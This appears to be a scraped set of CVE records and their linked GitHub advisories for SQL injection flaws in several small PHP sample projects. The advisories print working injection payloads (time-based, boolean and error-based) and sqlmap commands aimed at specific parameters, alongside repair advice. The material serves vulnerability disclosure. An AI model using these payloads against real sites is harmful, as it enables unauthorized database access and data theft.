2024-11-20T03:42:49Z

https://github.com/Hacker0xOne/CVE/issues/16

2,674,235,113

16

6,423

CVE-2024-11744

2024-11-26T21:15:06.483

A vulnerability has been found in 1000 Projects Portfolio Management System MCA 1.0 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /register.php. The manipulation of the argument name leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "HIGH", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "cna@vuldb.com", "type": "Secondary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "LOW", "baseScore": 7.3, "baseSeverity": "HIGH", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 3.4, "source": "cna@vuldb.com", "type": "Secondary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": [ { "cvssData": { "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "Safety": "NOT_DEFINED", "attackComplexity": "LOW", "attackRequirements": "NONE", "attackVector": "NETWORK", "availabilityRequirement": "NOT_DEFINED", "baseScore": 6.9, "baseSeverity": "MEDIUM", "confidentialityRequirement": "NOT_DEFINED", "exploitMaturity": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "privilegesRequired": "NONE", "providerUrgency": "NOT_DEFINED", "subAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "userInteraction": "NONE", "valueDensity": "NOT_DEFINED", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "version": "4.0", "vulnAvailabilityImpact": "LOW", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnerabilityResponseEffort": "NOT_DEFINED" }, "source": "cna@vuldb.com", "type": "Secondary" } ] }

[ { "source": "cna@vuldb.com", "tags": [ "Product" ], "url": "https://1000projects.org/" }, { "source": "cna@vuldb.com", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/zdwf-klm/CVE/issues/1" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required" ], "url": "https://vuldb.com/?ctiid.286141" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required" ], "url": "https://vuldb.com/?id.286141" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory" ], "url": "https://vuldb.com/?submit.449734" } ]

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[ "89" ]

89

https://github.com/zdwf-klm/CVE/issues/1

[ "Exploit", "Third Party Advisory" ]

github.com

[ "zdwf-klm", "CVE" ]

# 1000projects Portfolio Management System MCA Project using PHP and MySQL V1.0 /register.php SQL injection # NAME OF AFFECTED PRODUCT(S) + Portfolio Management System MCA Project using PHP and MySQL ## Vendor Homepage + https://1000projects.org/portfolio-management-system-mca-project-using-php-and-mysql.html # AFFECTED AND/OR FIXED VERSION(S) ## submitter + zdwf-klm ## Vulnerable File + /register.php ## VERSION(S) + V1.0 ## Software Link + https://1000projects.org/wp-content/uploads/2022/11/Portfolio-MP.7z # PROBLEM TYPE ## Vulnerability Type + SQL injection ## Root Cause + A SQL injection vulnerability was found in the '/register.php' file of the 'Portfolio Management System MCA Project using PHP and MySQL' project. The reason for this issue is that attackers inject malicious code from the parameter ‘name’ and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact + Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION + During the security review of "Portfolio Management System MCA Project using PHP and MySQL", zdwf-klm discovered a critical SQL injection vulnerability in the "/register.php" file. This vulnerability stems from insufficient user input validation of the ‘name’ parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability lonameion: + ‘name’ parameter ## Payload: ```makefile Parameter: name (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: name=11111111' AND (SELECT 8175 FROM (SELECT(SLEEP(5)))WeiB) AND 'PnLh'='PnLh&email=12@qq.com&passwd=11111111111111111111111&submit=Next ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -u "10.211.55.6:1114/register.php" --cookie="PHPSESSID=n4bccomqe6pevr8e66un0bsu12" --data=name="11111111&email=12%40qq.com&passwd=11111111111111111111111&submit=Next" --batch --level=5 --risk=3 --dbms=mysql --random-agent --dbs ``` + <img width="574" alt="image" src="https://github.com/user-attachments/assets/21c13c0d-5a35-4a88-a53f-f52745d2a835"> # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

1000projects Portfolio Management System MCA Project using PHP and MySQL V1.0 /register.php SQL injection

https://api.github.com/repos/zdwf-klm/CVE/issues/1/comments

0

2024-11-22T02:16:04Z

https://github.com/zdwf-klm/CVE/issues/1

2,681,536,616

1

6,424

CVE-2024-11817

2024-11-26T23:15:04.990

A vulnerability was found in PHPGurukul User Registration & Login and User Management System 1.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file /admin/index.php. The manipulation of the argument username leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.

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[ "89" ]

89

https://github.com/wackymaker/CVE/issues/1

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "wackymaker", "CVE" ]

# Phpgurukul User Registration & Login and User Management System With admin panel V1.0 /admin/index.php SQL injection # NAME OF AFFECTED PRODUCT(S) + User Registration & Login and User Management System With admin panel ## Vendor Homepage + https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/ # AFFECTED AND/OR FIXED VERSION(S) ## submitter + wackymaker ## Vulnerable File + /admin/index.php ## VERSION(S) + V1.0 ## Software Link + https://phpgurukul.com/wp-content/uploads/2017/12/User-Registration-and-login-System-with-admin-panel.zip # PROBLEM TYPE ## Vulnerability Type + SQL injection ## Root Cause + A SQL injection vulnerability was found in the '/admin/index.php' file of the 'User Registration & Login and User Management System With admin panel' project. The reason for this issue is that attackers inject malicious code from the parameter 'username'and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact + Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION + During the security review of "User Registration & Login and User Management System With admin panel", wackymaker discovered a critical SQL injection vulnerability in the "/admin/index.php" file. This vulnerability stems from insufficient user input validation of the 'username'parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability lonameion: + 'username'parameter ## Payload: ```makefile Parameter: username (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: username=-1317' OR 8842=8842-- pZOW&password=11111&login=Sign In Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=11111' AND (SELECT 1500 FROM (SELECT(SLEEP(5)))GXdH)-- KcWE&password=11111&login=Sign In ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -u "10.211.55.6:1119/admin/index.php" --cookie="admin_login=borsha%40gmail.com; user_login=tanjina%40gmail.com; PHPSESSID=40ub0v7022hrjks1vb5voms251" --data="username=admin%40qq.com&password=Test%4012345&login=" --batch --level=5 --risk=3 --dbms=mysql --dbs --random-agent --tamper=space2comment ``` + <img width="489" alt="image" src="https://github.com/user-attachments/assets/34e29e05-7c56-4435-bd33-219cfdd41afd"> # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

Phpgurukul User Registration & Login and User Management System With admin panel V1.0 /admin/index.php SQL injection

https://api.github.com/repos/wackymaker/CVE/issues/1/comments

0

2024-11-24T06:54:43Z

https://github.com/wackymaker/CVE/issues/1

2,687,247,188

1

6,425

CVE-2024-11818

2024-11-27T00:15:17.727

A vulnerability classified as critical has been found in PHPGurukul User Registration & Login and User Management System 1.0. This affects an unknown part of the file /signup.php. The manipulation of the argument email leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.

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[ { "source": "cna@vuldb.com", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/wackymaker/CVE/issues/3" }, { "source": "cna@vuldb.com", "tags": [ "Product" ], "url": "https://phpgurukul.com/" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required" ], "url": "https://vuldb.com/?ctiid.286191" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory" ], "url": "https://vuldb.com/?id.286191" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory" ], "url": "https://vuldb.com/?submit.451441" } ]

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[ "89" ]

89

https://github.com/wackymaker/CVE/issues/3

[ "Exploit", "Third Party Advisory" ]

github.com

[ "wackymaker", "CVE" ]

# Phpgurukul User Registration & Login and User Management System With admin panel V1.0 /signup.php SQL injection # NAME OF AFFECTED PRODUCT(S) + User Registration & Login and User Management System With admin panel ## Vendor Homepage + https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/ # AFFECTED AND/OR FIXED VERSION(S) ## submitter + wackymaker ## Vulnerable File + /signup.php ## VERSION(S) + V1.0 ## Software Link + https://phpgurukul.com/wp-content/uploads/2017/12/User-Registration-and-login-System-with-admin-panel.zip # PROBLEM TYPE ## Vulnerability Type + SQL injection ## Root Cause + A SQL injection vulnerability was found in the '/signup.php' file of the 'User Registration & Login and User Management System With admin panel' project. The reason for this issue is that attackers inject malicious code from the parameter 'email' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact + Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION + During the security review of "User Registration & Login and User Management System With admin panel", wackymaker discovered a critical SQL injection vulnerability in the "/signup.php" file. This vulnerability stems from insufficient user input validation of the 'email' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability lonameion: + 'email' parameter ## Payload: ```makefile Parameter: email (POST) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: fname=polaris&lname=blue&email=admin@qq.com' RLIKE (SELECT (CASE WHEN (9964=9964) THEN 0x61646d696e4071712e636f6d ELSE 0x28 END)) AND 'KuMM'='KuMM&contact=1111111111&password=Test@12345&confirmpassword=Test@12345&submit= Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: fname=polaris&lname=blue&email=admin@qq.com' AND (SELECT 4704 FROM(SELECT COUNT(*),CONCAT(0x716a717671,(SELECT (ELT(4704=4704,1))),0x716b787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'XGGz'='XGGz&contact=1111111111&password=Test@12345&confirmpassword=Test@12345&submit= Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: fname=polaris&lname=blue&email=admin@qq.com' AND (SELECT 6457 FROM (SELECT(SLEEP(5)))XQrI) AND 'FxIp'='FxIp&contact=1111111111&password=Test@12345&confirmpassword=Test@12345&submit= ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -u "10.211.55.6:1119/signup.php" --data="fname=polaris&lname=blue&email=admin%40qq.com&contact=1111111111&password=Test%4012345&confirmpassword=Test%4012345&submit=" --batch --level=5 --risk=3 --dbms=mysql --random-agent --tamper=space2comment --dbs ``` + <img width="492" alt="image" src="https://github.com/user-attachments/assets/8ff19cbb-c1b8-4be7-b4a2-384c10395308"> # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

Phpgurukul User Registration & Login and User Management System With admin panel V1.0 /signup.php SQL injection

https://api.github.com/repos/wackymaker/CVE/issues/3/comments

0

2024-11-24T07:38:18Z

https://github.com/wackymaker/CVE/issues/3

2,687,310,551

3

6,426

CVE-2024-11819

2024-11-27T00:15:17.890

A vulnerability classified as critical was found in 1000 Projects Portfolio Management System MCA 1.0. This vulnerability affects unknown code of the file /forgot_password_process.php. The manipulation of the argument username leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.

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[ { "source": "cna@vuldb.com", "tags": [ "Product" ], "url": "https://1000projects.org/" }, { "source": "cna@vuldb.com", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/wackymaker/CVE/issues/2" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required" ], "url": "https://vuldb.com/?ctiid.286192" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory" ], "url": "https://vuldb.com/?id.286192" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory" ], "url": "https://vuldb.com/?submit.451433" } ]

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[ "89" ]

89

https://github.com/wackymaker/CVE/issues/2

[ "Exploit", "Third Party Advisory" ]

github.com

[ "wackymaker", "CVE" ]

# 1000projects Portfolio Management System MCA Project using PHP and MySQL V1.0 /forgot_password_process.php SQL injection # NAME OF AFFECTED PRODUCT(S) + Portfolio Management System MCA Project using PHP and MySQL ## Vendor Homepage + https://1000projects.org/portfolio-management-system-mca-project-using-php-and-mysql.html # AFFECTED AND/OR FIXED VERSION(S) ## submitter + wackymaker ## Vulnerable File + /forgot_password_process.php ## VERSION(S) + V1.0 ## Software Link + https://1000projects.org/wp-content/uploads/2022/11/Portfolio-MP.7z # PROBLEM TYPE ## Vulnerability Type + SQL injection ## Root Cause + A SQL injection vulnerability was found in the '/forgot_password_process.php' file of the 'Portfolio Management System MCA Project using PHP and MySQL' project. The reason for this issue is that attackers inject malicious code from the parameter ‘username’ and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact + Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION + During the security review of "Portfolio Management System MCA Project using PHP and MySQL", wackymaker discovered a critical SQL injection vulnerability in the "/forgot_password_process.php" file. This vulnerability stems from insufficient user input validation of the ‘username’ parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability lonameion: + ‘username’ parameter ## Payload: ```makefile Parameter: username (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: username=-5990' OR 5592=5592-- kkQZ&submit=Submit Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=12@qq.com' AND (SELECT 6213 FROM (SELECT(SLEEP(5)))rJhE)-- LIaf&submit=Submit ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -u "10.211.55.6:1114/forgot_password_process.php" --data="username=12%40qq.com&submit=Submit" --batch --level=5 --risk=3 --dbms=mysql --dbs --random-agent --tamper=space2comment ``` + <img width="491" alt="image" src="https://github.com/user-attachments/assets/a93564b1-6047-44f5-835a-a341be4cf65b"> # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

1000projects Portfolio Management System MCA Project using PHP and MySQL V1.0 /forgot_password_process.php SQL injection

https://api.github.com/repos/wackymaker/CVE/issues/2/comments

0

2024-11-24T06:58:23Z

https://github.com/wackymaker/CVE/issues/2

2,687,249,859

2

6,427

CVE-2024-11962

2024-11-28T16:15:06.307

A vulnerability classified as critical was found in code-projects Simple Car Rental System 1.0. Affected by this vulnerability is an unknown functionality of the file /login.php. The manipulation of the argument uname leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.

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[ { "source": "cna@vuldb.com", "tags": [ "Product" ], "url": "https://code-projects.org/" }, { "source": "cna@vuldb.com", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/w0r1dtr33/cve/issues/1" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required", "VDB Entry" ], "url": "https://vuldb.com/?ctiid.286345" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?id.286345" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?submit.452084" } ]

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[ "89" ]

89

https://github.com/w0r1dtr33/cve/issues/1

[ "Exploit", "Third Party Advisory" ]

github.com

[ "w0r1dtr33", "cve" ]

# code-projects Simple Car Rental System In PHP With Source Code v1.0 login.php SQL injection # usernameOF AFFECTED PRODUCT(S) + Restaurant Order System In PHP With Source Code ## Vendor Homepage + https://code-projects.org/simple-car-rental-system-in-php-with-source-code/ # AFFECTED AND/OR FIXED VERSION(S) ## submitter + w0r1dtr33 ## Vulnerable File + login.php ## VERSION(S) + V1.0 ## Software Link + https://download.code-projects.org/details/d25c80bc-0c8c-402c-8902-295ab6ff0f98 # PROBLEM TYPE ## Vulnerability Type + SQL injection ## Root Cause + A SQL injection vulnerability was found in the 'login.php' file of the 'Restaurant Order System In PHP With Source Code' project. The reason for this issue is that attackers inject malicious code from the parameter "uname" and use it directly in SQL queries without appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ![1](https://github.com/user-attachments/assets/6844b502-259d-4e5c-85ba-da46124e06c8) ## Impact + Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION + Due to insufficient user input verification for the "uname" parameter, a serious SQL injection vulnerability has been discovered in the "Simple Car Rental System In PHP With Source Code", allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to the database, modify or delete data, and access sensitive information without logging in. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login verification required # Vulnerability details and POC ``` POST /login.php HTTP/1.1 Host: 192.168.1.200:1212 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 44 Origin: http://192.168.1.200:1212 Connection: close Referer: http://192.168.1.200:1212/login.php Cookie: PHPSESSID=v80phjj1umn61msuqisnar8277; SAIDE=jgh7v2c1f5r15l7siepfdb3sg1 Upgrade-Insecure-Requests: 1 Priority: u=0, i uname=admin&pass=adnubadmin&login=Login+Here ``` ## Vulnerability type: + time-based blind ## Vulnerability location: + 'uname' parameter ## Payload: ``` Parameter: uname (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: uname=admin' AND (SELECT 2333 FROM (SELECT(SLEEP(5)))XVEL) AND 'GbIS'='GbIS&pass=adnubadmin&login=Login Here ``` ![2](https://github.com/user-attachments/assets/46837078-ef7a-4448-be30-1f5897e6a789) ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -r 123 --batch --dbs ``` ![3](https://github.com/user-attachments/assets/a5848bcf-3805-41d7-bd8e-5e5b27b9ce44) # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

code-projects Simple Car Rental System In PHP With Source Code v1.0 login.php SQL injection

https://api.github.com/repos/w0r1dtr33/cve/issues/1/comments

0

2024-11-18T01:56:11Z

2024-11-26T02:39:13Z

https://github.com/w0r1dtr33/cve/issues/1

2,666,846,797

1

6,428

CVE-2024-11963

2024-11-28T16:15:06.993

A vulnerability, which was classified as critical, has been found in code-projects Responsive Hotel Site 1.0. Affected by this issue is some unknown functionality of the file /admin/room.php. The manipulation of the argument troom leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "PARTIAL", "baseScore": 6.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "cna@vuldb.com", "type": "Secondary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "LOW", "baseScore": 6.3, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.4, "source": "cna@vuldb.com", "type": "Secondary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": [ { "cvssData": { "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "Safety": "NOT_DEFINED", "attackComplexity": "LOW", "attackRequirements": "NONE", "attackVector": "NETWORK", "availabilityRequirement": "NOT_DEFINED", "baseScore": 5.3, "baseSeverity": "MEDIUM", "confidentialityRequirement": "NOT_DEFINED", "exploitMaturity": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "privilegesRequired": "LOW", "providerUrgency": "NOT_DEFINED", "subAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "userInteraction": "NONE", "valueDensity": "NOT_DEFINED", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "version": "4.0", "vulnAvailabilityImpact": "LOW", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnerabilityResponseEffort": "NOT_DEFINED" }, "source": "cna@vuldb.com", "type": "Secondary" } ] }

[ { "source": "cna@vuldb.com", "tags": [ "Product" ], "url": "https://code-projects.org/" }, { "source": "cna@vuldb.com", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/w0r1dtr33/cve/issues/2" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required", "VDB Entry" ], "url": "https://vuldb.com/?ctiid.286346" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?id.286346" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?submit.452106" } ]

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[ "89" ]

89

https://github.com/w0r1dtr33/cve/issues/2

[ "Exploit", "Third Party Advisory" ]

github.com

[ "w0r1dtr33", "cve" ]

